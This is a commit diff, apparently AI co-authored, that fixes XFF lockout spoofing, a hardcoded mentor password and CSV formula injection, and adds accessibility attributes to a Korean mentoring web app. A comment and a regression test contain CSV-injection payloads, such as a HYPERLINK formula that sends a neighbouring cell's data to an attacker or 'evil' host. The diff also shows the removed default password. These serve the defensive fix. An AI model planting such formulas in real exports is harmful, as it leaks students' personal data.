fix(security+a11y): 종합 감사(PMD+5관점, 29에이전트) 확정 12건 수정
[HIGH] - 로그인 잠금 XFF 스푸핑 우회: X-Forwarded-For leftmost(위조 가능) → rightmost(Caddy가 붙인 실제 IP) 사용 - 멘토 기본 비밀번호 하드코딩 제거: env 미설정 시 SecureRandom 생성 후 로그 1회 출력. compose에 MENTOR_INITIAL_PASSWORD 추가 - 클릭 카드 키보드 접근 불가(학습문서 전체): Card에 role=button·tabIndex·Enter/Space·aria-label [MEDIUM] - CSV 수식 인젝션: =+-@ 로 시작하는 학생 자유입력 앞에 ' 붙여 엑셀 수식화 차단 (+회귀 테스트) - 학습문서 17개 <html lang=ko> 골격 주입 (스크린리더 한국어 발음) - 과제 제출 폼 label htmlFor/id 연결 - 상단 아이콘 링크(👤·🔑) aria-label + 이모지 aria-hidden - 멘토 제출물 표 행 키보드 접근(role/tabIndex/Enter·Space) - 배지 amber/teal 글자 대비 4.5:1 확보(테마별 --amber-text/--teal-text) [LOW] - 코드에디터 포커스 표시(:focus-within), 문제번호 색 대비(--muted), 카드 :focus-visible - 폼 오류 메시지 role=alert (스크린리더 즉시 안내) 검증: 테스트 26개 통과, 운영에서 XFF 우회 차단(6회째 429)·카드 role/aria·문서 lang=ko 확인. PMD 29건은 전부 저심각 스멜로 실질 결함 없음. 각 수정에 원리 학습 주석. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This commit is contained in:
parent
2c8bbf3574
commit
84144a1608
@ -23,6 +23,8 @@ import org.springframework.security.crypto.password.PasswordEncoder;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.security.SecureRandom;
|
||||
import java.util.Base64;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@ -86,19 +88,41 @@ public class SeedDataLoader implements ApplicationRunner {
|
||||
* - 개인정보(이름·이메일·연락처)를 본인이 입력하는 것이 정확하다(대신 넣으면 오타·불일치).
|
||||
* 멘토만 시드로 두는 이유: 학생을 관리할 사람이 처음부터 있어야 하기 때문이다.
|
||||
*
|
||||
* ⚠️ MENTOR_INITIAL_PASSWORD 환경변수로 초기 비밀번호를 넣을 수 있다(운영 권장).
|
||||
* 없으면 개발용 기본값을 쓰되, 이 값은 소스에 보이므로 첫 로그인 후 반드시 바꿔야 한다.
|
||||
* ⚠️⚠️ 실제로 났던 보안 결함 — "소스에 박힌 기본 비밀번호"는 비밀번호가 아니다.
|
||||
* 예전엔 env 미설정 시 소스에 그대로 보이는 고정 문자열로 멘토를 만들었다.
|
||||
* 소스(=공개 코드)에 있는 값은 누구나 읽을 수 있으므로, 그 계정으로 로그인하면
|
||||
* 전체 학생의 개인정보 CSV를 내려받고 학생 비밀번호를 재설정할 수 있었다.
|
||||
* → 이제 env가 있으면 그 값을, 없으면 "매번 새로운 랜덤 비밀번호"를 만들어
|
||||
* 로그에만 딱 한 번 출력한다. 아무도 미리 알 수 없는 값이 된다.
|
||||
* (운영은 MENTOR_INITIAL_PASSWORD를 .env에 두고, 로컬은 부팅 로그에서 확인.)
|
||||
*/
|
||||
private void seedUsers() {
|
||||
if (userRepository.count() > 0) {
|
||||
return; // 이미 사용자가 있으면 건너뛴다
|
||||
}
|
||||
String initialPassword = System.getenv().getOrDefault("MENTOR_INITIAL_PASSWORD", "mirim2026!");
|
||||
String envPassword = System.getenv("MENTOR_INITIAL_PASSWORD");
|
||||
boolean generated = envPassword == null || envPassword.isBlank();
|
||||
String initialPassword = generated ? randomPassword() : envPassword;
|
||||
String passwordHash = passwordEncoder.encode(initialPassword);
|
||||
|
||||
userRepository.save(new User("mentor1", passwordHash, "멘토", "MENTOR", "NONE"));
|
||||
|
||||
log.info("멘토 계정(mentor1)을 생성했습니다. 학생은 회원가입으로 등록합니다.");
|
||||
if (generated) {
|
||||
// 랜덤 생성한 경우에만 로그로 알린다. 운영에서 env로 지정했다면 로그에 남기지 않는다
|
||||
// (지정한 비밀번호를 로그에 흘리지 않기 위해서다).
|
||||
log.warn("멘토 계정(mentor1) 생성 — 초기 비밀번호(1회 출력): {} ← 로그인 후 즉시 변경하세요. "
|
||||
+ "운영에서는 MENTOR_INITIAL_PASSWORD 환경변수로 지정하세요.", initialPassword);
|
||||
} else {
|
||||
log.info("멘토 계정(mentor1)을 생성했습니다(비밀번호는 환경변수 사용). 학생은 회원가입으로 등록합니다.");
|
||||
}
|
||||
}
|
||||
|
||||
/** 아무도 미리 알 수 없는 임시 비밀번호 하나. SecureRandom = 예측 불가능한 난수원. */
|
||||
private String randomPassword() {
|
||||
byte[] bytes = new byte[12];
|
||||
new SecureRandom().nextBytes(bytes);
|
||||
// URL-safe Base64에서 헷갈리는 문자를 빼고 특수문자 하나를 더해 정책을 만족시킨다.
|
||||
return "M" + Base64.getUrlEncoder().withoutPadding().encodeToString(bytes) + "!";
|
||||
}
|
||||
|
||||
private void seedDocuments() {
|
||||
|
||||
@ -130,9 +130,25 @@ public class StudentProfileService {
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
/** CSV 한 칸 이스케이프: 큰따옴표로 감싸고, 안의 큰따옴표는 두 개로. */
|
||||
/**
|
||||
* CSV 한 칸 이스케이프.
|
||||
*
|
||||
* 학습 포인트 ① — 구조 이스케이프: 큰따옴표로 감싸고, 안의 큰따옴표는 두 개로.
|
||||
* 이렇게 하면 값에 쉼표·따옴표·줄바꿈이 있어도 열이 밀리지 않는다.
|
||||
*
|
||||
* 학습 포인트 ② — 수식 인젝션(CSV Injection) 방어. 이게 핵심이다.
|
||||
* 엑셀은 셀 값이 =, +, -, @ 로 시작하면 "수식"으로 실행한다. 학생이 이름을
|
||||
* =HYPERLINK("http://공격자/"&A2) 처럼 지어 가입하면, 경리가 CSV를 엑셀로 여는
|
||||
* 순간 옆 칸의 진짜 개인정보가 공격자 서버로 새어 나갈 수 있다.
|
||||
* → 위험 문자로 시작하면 앞에 작은따옴표(')를 붙여 "이건 글자야, 수식 아냐"로 만든다.
|
||||
* 엑셀은 선행 '를 표시하지 않고 텍스트로 취급한다. (구조 이스케이프만으로는 못 막는다 —
|
||||
* 따옴표는 엑셀이 열 때 텍스트 한정자로 걷어내서 =... 가 그대로 수식이 되기 때문이다.)
|
||||
*/
|
||||
private String csv(String value) {
|
||||
String v = value == null ? "" : value;
|
||||
if (!v.isEmpty() && "=+-@\t\r".indexOf(v.charAt(0)) >= 0) {
|
||||
v = "'" + v; // 수식화 차단
|
||||
}
|
||||
return "\"" + v.replace("\"", "\"\"") + "\"";
|
||||
}
|
||||
}
|
||||
|
||||
@ -180,15 +180,21 @@ public class AuthController {
|
||||
* request.getRemoteAddr()는 항상 "Caddy의 IP"다 — 이걸 키로 쓰면 전 세계 사용자가
|
||||
* 한 명으로 묶여 버린다. 진짜 클라이언트 IP는 Caddy가 X-Forwarded-For 헤더에 담아 준다.
|
||||
*
|
||||
* ⚠️ 이 헤더를 믿어도 되는 조건: 백엔드가 오직 Caddy를 통해서만 접근 가능할 때다
|
||||
* (우리 구성이 그렇다 — backend 컨테이너는 외부 포트를 열지 않는다).
|
||||
* 백엔드가 인터넷에 직접 노출돼 있다면 누구나 이 헤더를 위조할 수 있으므로 믿으면 안 된다.
|
||||
* ⚠️⚠️ 실제로 났던 취약점 — "맨 앞이 클라이언트"가 함정이었다.
|
||||
* X-Forwarded-For는 클라이언트가 임의로 넣어 보낼 수 있는 헤더다. 프록시(Caddy)는
|
||||
* 그 값을 지우지 않고 "실제 연결 IP를 뒤에 덧붙인다". 그래서 백엔드가 보는 값은
|
||||
* [클라이언트가 위조한 값] , [Caddy가 본 진짜 IP]
|
||||
* 가 된다. 맨 앞(leftmost)을 믿으면 공격자가 요청마다 가짜 IP를 넣어
|
||||
* 잠금 카운트를 매번 새 키로 흩뿌려 무차별 대입 잠금을 통째로 우회할 수 있었다.
|
||||
* → 신뢰할 수 있는 건 "프록시가 직접 덧붙인" 맨 뒤(rightmost) 값이다.
|
||||
* (프록시가 Caddy 하나뿐이라 이 값이 곧 실제 클라이언트 IP다. 프록시가 여러 겹이면
|
||||
* "신뢰하는 프록시 수만큼 뒤에서" 세어야 한다 — 홉 수를 아는 것이 핵심이다.)
|
||||
*/
|
||||
private String clientIp(HttpServletRequest request) {
|
||||
String forwarded = request.getHeader("X-Forwarded-For");
|
||||
if (forwarded != null && !forwarded.isBlank()) {
|
||||
// 프록시를 여러 번 거치면 "원래IP, 프록시1, 프록시2"처럼 쌓인다 — 맨 앞이 클라이언트.
|
||||
return forwarded.split(",")[0].trim();
|
||||
String[] hops = forwarded.split(",");
|
||||
return hops[hops.length - 1].trim(); // 맨 뒤 = Caddy가 붙인 실제 IP (위조 불가)
|
||||
}
|
||||
return request.getRemoteAddr();
|
||||
}
|
||||
|
||||
@ -14,6 +14,7 @@ import org.springframework.web.server.ResponseStatusException;
|
||||
|
||||
import java.time.Instant;
|
||||
import java.time.LocalDate;
|
||||
import java.util.List;
|
||||
import java.util.Optional;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
@ -97,4 +98,23 @@ class StudentProfileServiceTest {
|
||||
() -> service.myProfile(mentor));
|
||||
assertEquals(404, ex.getStatusCode().value());
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("CSV: =수식으로 시작하는 이름은 앞에 '가 붙어 엑셀 수식 실행이 차단된다")
|
||||
void exportCsv_neutralizes_formula_injection() {
|
||||
// 공격자가 이름을 엑셀 수식으로 지어 가입한 상황
|
||||
User attacker = new User("evil", "해시", "=HYPERLINK(\"http://evil/\")", "STUDENT", "DEV");
|
||||
ReflectionTestUtils.setField(attacker, "id", 9L); // createdAt은 생성자가 이미 채움
|
||||
StudentProfile evilProfile = new StudentProfile(attacker, "evil", LocalDate.of(2008, 1, 1),
|
||||
"010-0000-0000", "@SUM(A1)", "학교", "전공", "보호자", "부", "010-1111-1111", Instant.now());
|
||||
when(studentProfileRepository.findAllWithUser()).thenReturn(List.of(evilProfile));
|
||||
|
||||
String csv = service.exportCsv();
|
||||
|
||||
// 위험 문자로 시작하는 값 앞에 작은따옴표가 붙어야 한다 (엑셀이 텍스트로 취급)
|
||||
assertTrue(csv.contains("\"'=HYPERLINK"), "= 로 시작하는 이름이 무력화되어야 함");
|
||||
assertTrue(csv.contains("\"'@SUM"), "@ 로 시작하는 주소가 무력화되어야 함");
|
||||
// 평범한 값은 건드리지 않는다
|
||||
assertTrue(csv.contains("\"보호자\""));
|
||||
}
|
||||
}
|
||||
|
||||
@ -36,6 +36,8 @@ services:
|
||||
# 텔레그램 알림 (값은 .env에 — 비어 있으면 알림만 꺼지고 앱은 정상)
|
||||
TELEGRAM_BOT_TOKEN: ${TELEGRAM_BOT_TOKEN:-}
|
||||
TELEGRAM_CHAT_ID: ${TELEGRAM_CHAT_ID:-}
|
||||
# 멘토 최초 비밀번호 (첫 부팅 시드용). 비우면 랜덤 생성돼 로그에 1회 출력된다.
|
||||
MENTOR_INITIAL_PASSWORD: ${MENTOR_INITIAL_PASSWORD:-}
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>CS 기본기 4주 커리큘럼</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -143,6 +148,8 @@
|
||||
}
|
||||
@media print { body{background:#fff;} .card,header.mast,.week-badge{box-shadow:none;} section{break-inside:avoid;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -463,3 +470,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>어썸데브 수습 평가 루브릭</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -157,6 +162,8 @@
|
||||
.scorebox, .cell-fill, .writeline, .idf .v, .signrow .s .v { border-color: #999 !important; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -359,3 +366,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>AWESOMEDEV 수습 가이드</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -217,6 +222,8 @@
|
||||
nav.toc { display: none; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -579,3 +586,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>수습용 실전 티켓 풀 20 · AWESOMEDEV</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -123,6 +128,8 @@
|
||||
.row.target { background: var(--primary-soft); border-radius: 10px; padding: 9px 11px; margin-top: 8px; }
|
||||
.row.target .lab { color: var(--primary-deep); font-weight: 800; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -463,3 +470,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>AWESOMEDEV 1주차 일일 과제집 — 온보딩 & 예절 적용</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -112,6 +117,8 @@
|
||||
@media (max-width:560px){ .time .row { grid-template-columns: 96px 1fr; gap: 10px; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.task,.day-badge{box-shadow:none;} .task{break-inside:avoid;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -851,3 +858,5 @@ chore: 자잘한 정리 예) chore: 불필요한 빈 줄 제거
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>1주차 상세 강의안 · 온보딩 & 예절</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -153,6 +158,8 @@
|
||||
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -737,3 +744,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>어썸데브 수습 교육 · 2주차 일일 과제집</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -112,6 +117,8 @@
|
||||
@media (max-width:560px){ .time .row { grid-template-columns: 96px 1fr; gap: 10px; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.task,.day-badge{box-shadow:none;} .task{break-inside:avoid;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -848,3 +855,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>2주차 상세 강의안 — 기초 다지기 · AWESOMEDEV 수습 교육</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -124,6 +129,8 @@
|
||||
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -821,3 +828,5 @@ git push -u origin <span class="hl">practice/이름-week2</span>
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>AWESOMEDEV 3주차 일일 과제집 — 첫 소과제 실전</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -112,6 +117,8 @@
|
||||
@media (max-width:560px){ .time .row { grid-template-columns: 96px 1fr; gap: 10px; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.task,.day-badge{box-shadow:none;} .task{break-inside:avoid;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -868,3 +875,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>AWESOMEDEV 수습 상세 강의안 · 3주차</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -124,6 +129,8 @@
|
||||
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -804,3 +811,5 @@ Figma: <span class="hl">[링크]</span>
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>AWESOMEDEV 4주차 일일 과제집 — 통합·발표 준비</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -112,6 +117,8 @@
|
||||
@media (max-width:560px){ .time .row { grid-template-columns: 96px 1fr; gap: 10px; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.task,.day-badge{box-shadow:none;} .task{break-inside:avoid;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -863,3 +870,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>4주차 상세 강의안 · 기본기 마무리 · 중간평가 — AWESOMEDEV 수습 교육</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -124,6 +129,8 @@
|
||||
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -790,3 +797,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>5주차 상세 강의안 · 실전 티켓 ① · AWESOMEDEV 수습</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -124,6 +129,8 @@
|
||||
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -1075,3 +1082,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>6주차 상세 강의안 — 실전 티켓 ② · AWESOMEDEV 수습</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -124,6 +129,8 @@
|
||||
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -875,3 +882,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>7주차 상세 강의안 — 종합 프로젝트 기획·설계 (멘토용)</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -124,6 +129,8 @@
|
||||
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -959,3 +966,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>8주차 상세 강의안 · 구현 · 발표 · 최종평가 — AWESOMEDEV 수습 교육</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -124,6 +129,8 @@
|
||||
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -937,3 +944,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -1,3 +1,8 @@
|
||||
<!doctype html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>어썸데브 수습 8주 상세 교육안</title>
|
||||
<style>
|
||||
:root {
|
||||
@ -153,6 +158,8 @@
|
||||
@media (max-width:560px){ .day { grid-template-columns: 48px 1fr; gap: 12px; } .meta2 .m { grid-template-columns: 72px 1fr; gap: 8px; } .week-head { grid-template-columns: auto 1fr; } }
|
||||
@media print { body{background:#fff;} .card,header.mast,.week-badge,nav.toc{box-shadow:none;} section{break-inside:avoid;} nav.toc{display:none;} }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="wrap">
|
||||
|
||||
@ -454,3 +461,5 @@
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -90,15 +90,17 @@ function Layout() {
|
||||
이름과 역할은 다른 정보이니 역할은 배지로 분리한다 — 중복도 없어지고 폭도 준다. */}
|
||||
<span className="topnav-name">{user?.name}</span>
|
||||
{user?.role === 'MENTOR' && <span className="badge badge-primary">멘토</span>}
|
||||
{/* 내 정보 — 학생만. (멘토는 인적사항이 없어서 숨긴다) */}
|
||||
{/* 내 정보 — 학생만. (멘토는 인적사항이 없어서 숨긴다)
|
||||
⚠️ a11y: 내용이 이모지뿐이면 스크린리더가 "bust in silhouette 링크"로 읽는다.
|
||||
title은 접근 이름으로 안 쓰이므로 aria-label로 목적을 알리고, 이모지는 숨긴다. */}
|
||||
{user?.role === 'STUDENT' && (
|
||||
<NavLink to="/profile" className="btn btn-ghost" title="내 정보">
|
||||
👤
|
||||
<NavLink to="/profile" className="btn btn-ghost" aria-label="내 정보">
|
||||
<span aria-hidden="true">👤</span>
|
||||
</NavLink>
|
||||
)}
|
||||
{/* 비밀번호 변경 — 처음 받은 비밀번호를 바꿀 수 있는 통로. 눈에 띄는 곳에 둔다. */}
|
||||
<NavLink to="/change-password" className="btn btn-ghost" title="비밀번호 변경">
|
||||
🔑
|
||||
<NavLink to="/change-password" className="btn btn-ghost" aria-label="비밀번호 변경">
|
||||
<span aria-hidden="true">🔑</span>
|
||||
</NavLink>
|
||||
<button className="btn btn-ghost" onClick={logout} title="로그아웃">
|
||||
로그아웃
|
||||
|
||||
@ -1,10 +1,30 @@
|
||||
// 이 파일이 하는 일: 흰 배경 + 둥근 모서리 + 은은한 그림자의 공용 카드 컴포넌트.
|
||||
// 학습 포인트: onClick이 있으면 클릭 가능한 스타일(호버 시 살짝 떠오름)을 자동으로 붙인다.
|
||||
export default function Card({ children, onClick, style }) {
|
||||
//
|
||||
// ⚠️ 접근성(a11y) — 실제로 났던 결함. 예전엔 클릭 가능한 카드가 그냥 <div onClick>이었다.
|
||||
// 마우스로는 눌리지만 키보드로는 Tab 포커스도, Enter로 열기도 안 된다. 학습 문서 목록
|
||||
// 전체가 이 카드라, 키보드만 쓰는 학생·스크린리더 사용자는 문서를 하나도 열 수 없었다.
|
||||
// (정작 HtmlCss 강좌에서 "div onClick은 키보드로 못 누른다"고 가르치는데 우리가 어겼던 것!)
|
||||
// → onClick이 있으면 button처럼 동작하게 한다: 탭 순서에 넣고(tabIndex), role을 button으로,
|
||||
// Enter·Space로도 열리게(onKeyDown). aria-label은 각 화면에서 넘겨 무엇을 여는지 알린다.
|
||||
export default function Card({ children, onClick, style, ariaLabel }) {
|
||||
const interactive = Boolean(onClick);
|
||||
|
||||
function handleKeyDown(event) {
|
||||
if (interactive && (event.key === 'Enter' || event.key === ' ')) {
|
||||
event.preventDefault(); // Space가 페이지를 스크롤하지 않게
|
||||
onClick(event);
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`card${onClick ? ' card-clickable' : ''}`}
|
||||
className={`card${interactive ? ' card-clickable' : ''}`}
|
||||
onClick={onClick}
|
||||
onKeyDown={interactive ? handleKeyDown : undefined}
|
||||
role={interactive ? 'button' : undefined}
|
||||
tabIndex={interactive ? 0 : undefined}
|
||||
aria-label={ariaLabel}
|
||||
style={style}
|
||||
>
|
||||
{children}
|
||||
|
||||
@ -70,9 +70,12 @@ function AssignmentCard({ assignment, submission, onSubmitted }) {
|
||||
<details className="fold" open={!submission}>
|
||||
<summary>{submission ? '다시 제출하기' : '제출하기'}</summary>
|
||||
<form onSubmit={handleSubmit}>
|
||||
{/* a11y: label의 htmlFor와 컨트롤의 id를 같은 값으로 묶어야 스크린리더가
|
||||
"제출 내용" 같은 이름을 읽어 준다. id는 과제마다 유니크해야 하므로 assignment.id를 붙인다. */}
|
||||
<div className="field">
|
||||
<label>제출 내용</label>
|
||||
<label htmlFor={`sub-content-${assignment.id}`}>제출 내용</label>
|
||||
<textarea
|
||||
id={`sub-content-${assignment.id}`}
|
||||
className="textarea"
|
||||
value={content}
|
||||
onChange={(e) => setContent(e.target.value)}
|
||||
@ -80,15 +83,16 @@ function AssignmentCard({ assignment, submission, onSubmitted }) {
|
||||
/>
|
||||
</div>
|
||||
<div className="field">
|
||||
<label>링크 (선택)</label>
|
||||
<label htmlFor={`sub-link-${assignment.id}`}>링크 (선택)</label>
|
||||
<input
|
||||
id={`sub-link-${assignment.id}`}
|
||||
className="input"
|
||||
value={link}
|
||||
onChange={(e) => setLink(e.target.value)}
|
||||
placeholder="예: Gitea 저장소 주소, 결과물 링크"
|
||||
/>
|
||||
</div>
|
||||
{error && <p className="error-text">{error}</p>}
|
||||
{error && <p className="error-text" role="alert">{error}</p>}
|
||||
<button className="btn btn-primary" type="submit" disabled={saving}>
|
||||
